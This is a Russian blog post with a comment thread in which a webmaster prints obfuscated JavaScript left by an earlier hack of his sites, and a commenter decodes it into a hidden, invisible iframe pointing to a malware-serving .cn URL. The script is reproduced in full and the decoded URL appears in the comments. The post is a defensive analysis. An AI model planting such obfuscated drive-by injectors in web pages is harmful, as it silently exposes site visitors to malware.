Сегодня готовил сайты к переезду на другой хостинг. А заодно делал кое-что в Виндоуз. Профилактика, такскть. А то он у меня совсем позабыт-позаброшен, я-то все время в Линуксе сижу. Ну так вот, работаю я в Виндоуз и вдруг антивир начинает беситься. Карантинит несколько архивов с забекапленными файлами для переноса на другой хостинг. Я, естественно, начинаю ковыряться и выяснять, что там за зараза.
Оказалось, я не все вычистил после прошлого взлома сайтов. Пользуясь случаем, хотел бы еще раз выразить благодарность хостингу GoDaddy.com, сотрудники которого переносят сайты, показавшиеся им подозрительными, на сервер-карантин, настройки php на котором позволяют желающим гулять по всему жесткому диску сервера и ломать все, что оказалось на том диске.
В человеческом мире этому приему хостинга можно было бы подобрать такой эквивалент: любой чихнувший, кашлянувший или не вовремя зачесавшийся прохожий немедленно отправляется полицией до выяснения обстоятельств в холерный барак, где никогда не проводится дезинфекция. Если за время того самого выяснения обстоятельств прохожий не отдает концы от холеры, то его могут и выпустить.
Так вот, когда в прошлый раз я чистил взломанные файлы index.htm, index.html и index.php, два файла я таки пропустил. К счастью, не очень посещаемых, так что, надеюсь, никто не пострадал. Один из них был вообще поставлен в такое место, откуда и заразиться-то невозможно - посетители туда зайти не могут, а у меня всегда с собой противоядие. :) Второе место теоретически представляло некоторую опасность - это был вход в проект (можете жать на ссылку - уже незаразно) Hebrus2, в который не так просто попасть по обычной навигации сайта.
В общем, файлы я почистил. Но в отличие от прошлого раза, когда весь вредоносный код я просто уничтожил, на сей раз я его (код) сохранил. Код представляет собой зашифрованный скрипт, в котром понятны операторы, но совершенно непонятны их параметры. Код стоял между тэгами </head> и <body> в этаком элегантном месте, которое не сразу и заметишь. Вот этот код (скобки тэгов для безопасности заменены на html-entities:
<script type="text/javascript">var hPLAmyvsdfELzjhpwQYf = "EOje60EOje105EOje102EOje114EOje97EOje109EOje101EOje32EOje119EOje105EOje100EOje116EOje104EOje61EOje34EOje52EOje56EOje48EOje34EOje32EOje104EOje101EOje105EOje103EOje104EOje116EOje61EOje34EOje54EOje48EOje34EOje32EOje115EOje114EOje99EOje61EOje34EOje104EOje116EOje116EOje112EOje58EOje47EOje47EOje116EOje114EOje97EOje102EOje102EOje105EOje99EOje45EOje114EOje101EOje115EOje111EOje117EOje114EOje99EOje101EOje115EOje46EOje99EOje110EOje47EOje111EOje114EOje100EOje101EOje114EOje47EOje105EOje110EOje46EOje99EOje103EOje105EOje63EOje50EOje34EOje32EOje115EOje116EOje121EOje108EOje101EOje61EOje34EOje98EOje111EOje114EOje100EOje101EOje114EOje58EOje48EOje112EOje120EOje59EOje32EOje112EOje111EOje115EOje105EOje116EOje105EOje111EOje110EOje58EOje114EOje101EOje108EOje97EOje116EOje105EOje118EOje101EOje59EOje32EOje116EOje111EOje112EOje58EOje48EOje112EOje120EOje59EOje32EOje108EOje101EOje102EOje116EOje58EOje45EOje53EOje48EOje48EOje112EOje120EOje59EOje32EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje58EOje48EOje59EOje32EOje102EOje105EOje108EOje116EOje101EOje114EOje58EOje112EOje114EOje111EOje103EOje105EOje100EOje58EOje68EOje88EOje73EOje109EOje97EOje103EOje101EOje84EOje114EOje97EOje110EOje115EOje102EOje111EOje114EOje109EOje46EOje77EOje105EOje99EOje114EOje111EOje115EOje111EOje102EOje116EOje46EOje65EOje108EOje112EOje104EOje97EOje40EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje61EOje48EOje41EOje59EOje32EOje45EOje109EOje111EOje122EOje45EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje58EOje48EOje34EOje62EOje60EOje47EOje105EOje102EOje114EOje97EOje109EOje101EOje62";var wyAIvMIOvBsdRDeECZxg = hPLAmyvsdfELzjhpwQYf.split("EOje");var EBrElZthpSMlQNtLZBZV = "";for (var DRzVVdaXDXEHYwLKVFrL=1; DRzVVdaXDXEHYwLKVFrL<wyAIvMIOvBsdRDeECZxg.length; DRzVVdaXDXEHYwLKVFrL++){EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp = ""+EBrElZthpSMlQNtLZBZV+"";document.write(""+FmdulWQzUMVHZPWHWyXp+"")</script>
Я понимаю, где стоит строка-ключ, но решительно не могу догнать, как эту белиберду расшифровать и привести в удобочитаемый вид. Кто-то может посодействовать?
UPD. Скрипт расшифрован vcohen, за что ему большой респект. Скобки заменены на квадратные, ссылка сделана неактивной:
[iframe width="480" height="60" src="h t t p :// t r a f f i c -r e s o u r c e s . c n /order/in.cgi?2" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"][/iframe]
Предупреждение: тем, кто не ощущает себя гуру, категорически не рекомендуется переходить по приведенной в расшифровке ссылке.
Комментарии
vcohen (не проверено)
сб, 07/18/2009 - 01:09
Постоянная ссылка (Permalink)
Пытаюсь расшифровать. Что
Пытаюсь расшифровать. Что пока понял - что вот эта длинная строка содержит коды неких символов, разделенные комбинацией EOje. Программа делит строку по EOje, превращает коды в соответствующие символы и подставляет их на место самой себя. В результате, видимо, получается какой-то скрипт. Когда файл грузится в браузер, скрипт исполняется. Я пока не знаю, что это за скрипт, но скоро узнаю. Пока что у меня, в процессе выяснения, антивирус верещал уже два раза.
lugovsa (не проверено)
сб, 07/18/2009 - 01:12
Постоянная ссылка (Permalink)
Пока что у меня, в процессе
Странно. Я ведь сделал скрипт неисполняемым (при помощи entities. Обрати внимание на ключ к шифру (ИМХО):
"{EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp"
lugovsa (не проверено)
сб, 07/18/2009 - 01:14
Постоянная ссылка (Permalink)
По идее, это должен быть
По идее, это должен быть inframe width="0" height="0" visible="0" c отсылкой на сайт с трояном.
vcohen (не проверено)
сб, 07/18/2009 - 01:16
Постоянная ссылка (Permalink)
Понял. Это не скрипт. Это
Понял. Это не скрипт. Это HTML-код, вот такой (заменяю угловые скобки на квадратные):
[iframe width="480" height="60" src="http://traffic-resources.cn/order/in.cgi?2" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"][/iframe]
То есть рамка, в которой появляется страница из совершенно другого сайта, причем невидимо для глаза. А уж что она делает - я проверять не буду.
vcohen (не проверено)
сб, 07/18/2009 - 01:21
Постоянная ссылка (Permalink)
> По идее, это должен быть
> По идее, это должен быть inframe width=”0″ height=”0″ visible=”0″ c отсылкой на сайт с трояном.
Да, так и есть.
> Странно. Я ведь сделал скрипт неисполняемым (при помощи entities.
Но ты его оставил читабельным. Этого было достаточно, чтобы я его скопировал к себе.
> Обрати внимание на ключ к шифру (ИМХО):
“{EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp”
И где здесь ключ? Эти хитрые последовательности символов - это просто имена переменных. Я у себя заменил их на более простые имена (a1, a2, ...), чтобы было проще разобраться.
lugovsa (не проверено)
сб, 07/18/2009 - 01:22
Постоянная ссылка (Permalink)
Спасибо! Разумеется, не
Спасибо! Разумеется, не проверяй.
vcohen (не проверено)
сб, 07/18/2009 - 01:23
Постоянная ссылка (Permalink)
Мою предыдущую реплику видел?
Мою предыдущую реплику видел?
lugovsa (не проверено)
сб, 07/18/2009 - 01:37
Постоянная ссылка (Permalink)
Да, видел. Ты прав, я ошибся.
Да, видел. Ты прав, я ошибся. Классная работа!